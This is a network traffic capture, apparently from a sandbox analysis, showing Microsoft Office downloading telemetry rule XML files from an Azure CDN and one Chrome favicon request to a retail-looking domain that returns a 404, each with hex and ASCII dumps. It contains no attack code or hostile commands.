Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:34 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:34 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:34 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: ad3e2dfb-901e-0064-71d8-1ee8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155634Z-15b8d89586f8nxpt6pvtkfw3pg000000027g0000000086r4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:34 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:34 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:34 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:34 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: c8d8fd80-d01e-005a-2dd8-1e7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155634Z-15b8d89586f4zwgbz365q03b0c000000028g00000000d5qk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:34 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:34 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:34 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:34 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: b1f2b85a-201e-0085-74d8-1e34e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155634Z-r197bdfb6b4h2vct0gzb37213s00000008a0000000004px7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:34 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49749	103.83.194.55	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:34 UTC	597	OUT	GET /favicon.ico HTTP/1.1 Host: boldlionapparel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://boldlionapparel.com/.i/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-16 15:56:34 UTC	164	IN	HTTP/1.1 404 Not Found Date: Wed, 16 Oct 2024 15:56:34 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-10-16 15:56:34 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:35 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:35 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 76f1907b-601e-0084-2f63-1f6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155635Z-15b8d89586fvk4kme36hucfwyc00000001cg000000006uma x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:35 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:35 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:35 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 22e262fd-c01e-008d-23d8-1e2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155635Z-15b8d89586fs9clcebkvq6f0sc000000026g00000000arcy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:35 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:35 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:35 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:35 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: b1f13374-201e-0085-05d8-1e34e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155635Z-16b659b4499lfw4zscvav76bhn00000006x000000000gnh5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-16 15:56:35 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:35 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:35 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:35 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 96577f27-301e-0099-1ad8-1e6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155635Z-16b659b4499rgn6gzhcff90q8g00000008c000000000sszz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-16 15:56:35 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:35 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:35 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: ff358c34-401e-0064-2ed8-1e54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155635Z-15b8d89586ff5l62quxsfe8ugg000000025g00000000c3s9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:35 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:36 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:36 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: a14da665-f01e-003f-4ed8-1ed19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155636Z-15b8d89586fqj7k5uht6e8nnew00000001zg00000000sf8u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:36 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:36 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:36 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 783e1ebc-401e-00ac-5ed8-1e0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155636Z-16b659b4499v5jm96nrcwszga0000000074g00000000esfm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:36 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:36 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:36 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: ff35c8d8-401e-0064-01d8-1e54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155636Z-16b659b4499jjs4wp9fdvw3np800000008eg00000000s7uw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:36 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" 